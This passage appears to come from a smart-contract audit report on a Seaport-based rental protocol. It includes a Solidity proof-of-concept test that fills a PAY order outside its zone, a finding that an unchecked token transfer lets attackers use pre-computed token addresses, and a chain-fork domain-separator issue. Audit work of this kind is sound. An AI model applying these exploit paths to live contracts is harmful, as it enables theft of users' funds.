    function test_Rent_PayOrder_Payee_FulfillingOutsideZone() public {
        // create a PAY order
        createOrder({
            offerer: alice,
            orderType: OrderType.PAY,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 1,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 0
        });

        // finalize the pay order creation
        (
            Order memory payOrder,
            bytes32 payOrderHash,
            OrderMetadata memory payOrderMetadata
        ) = finalizeOrder();

        // create a PAYEE order
        createOrder({
            offerer: bob,
            orderType: OrderType.PAYEE,
            erc721Offers: 0,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 1,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the pay order creation
        (
            Order memory payeeOrder,
            bytes32 payeeOrderHash,
            OrderMetadata memory payeeOrderMetadata
        ) = finalizeOrder();

        // create an order fulfillment for the pay order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payOrder,
            orderHash: payOrderHash,
            metadata: payOrderMetadata
        });

        // create an order fulfillment for the payee order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payeeOrder,
            orderHash: payeeOrderHash,
            metadata: payeeOrderMetadata
        });

        // define the offer and consideration components for the ERC721
        FulfillmentComponent[] memory offerCompERC721 = new FulfillmentComponent[](1);
        FulfillmentComponent[] memory considCompERC721 = new FulfillmentComponent[](1);

        // link the ERC721 offer item in the PAY order to the ERC721 consideration item
        // in the PAYEE order
        offerCompERC721[0] = FulfillmentComponent({orderIndex: 0, itemIndex: 0});
        considCompERC721[0] = FulfillmentComponent({orderIndex: 1, itemIndex: 0});

        // define the offer and consideration components for the ERC20
        FulfillmentComponent[] memory offerCompERC20 = new FulfillmentComponent[](1);
        FulfillmentComponent[] memory considCompERC20 = new FulfillmentComponent[](1);

        // link the ERC20 offer item in the PAY order to the ERC20 consideration item
        // in the PAYEE order
        offerCompERC20[0] = FulfillmentComponent({orderIndex: 0, itemIndex: 1});
        considCompERC20[0] = FulfillmentComponent({orderIndex: 1, itemIndex: 1});

        // add the fulfillments to the order
        withSeaportMatchOrderFulfillment(
            Fulfillment({
                offerComponents: offerCompERC721,
                considerationComponents: considCompERC721
            })
        );
        withSeaportMatchOrderFulfillment(
            Fulfillment({
                offerComponents: offerCompERC20,
                considerationComponents: considCompERC20
            })
        );

        finalizePayOrderFulfillment();
    }

Recommended Mitigation

Fixing this on the Create policy would involve to have some state shared between subsequent "OpenSea" fulfillments (PAY + PAYEE). It may be easier to implement on the OpenSea fork: checking on all the fulfiller functions that both the PAY and PAYEE counterpart are present on the fulfillments.

L-03 - PaymentEscrow::_safeTransfer() doesn't check for contract code size

_safeTransfer() doesn't check if the token contract has code, and no other part of the protocol does.

That allows an EOA to be passed as a token, and the transfer will succeed with no response (which is valid in the case of this function).

This opens an attack vector where tokens yet-to-be-deployed with known pre-computed addresses (like bridged tokens) can be utilized without making any real transfer. Then, when the token is created, the attacker would have balance of that token in the platform and would be able to operate with it.

The possible attack is mitigated externally on SeaPort, as it checks for the contract code, so no rentals should be able to be created with such tokens.

Recommended Mitigation

It is recommended to have the proper checks on the platform, and not rely on external integrations.

Perform a contract check, like OpenZeppelin does for their SafeToken implementations.

L-04 - The _DOMAIN_SEPARATOR should be recalculated in case of forks

The _DOMAIN_SEPARATOR in the Signer is an immutable and calculated on the constructor with the current chain id.

In case of a chain fork, the corresponding chain id will not match, leading to the protocol not working on the forked chain.

Consider recalculating the _DOMAIN_SEPARATOR if the chain id changes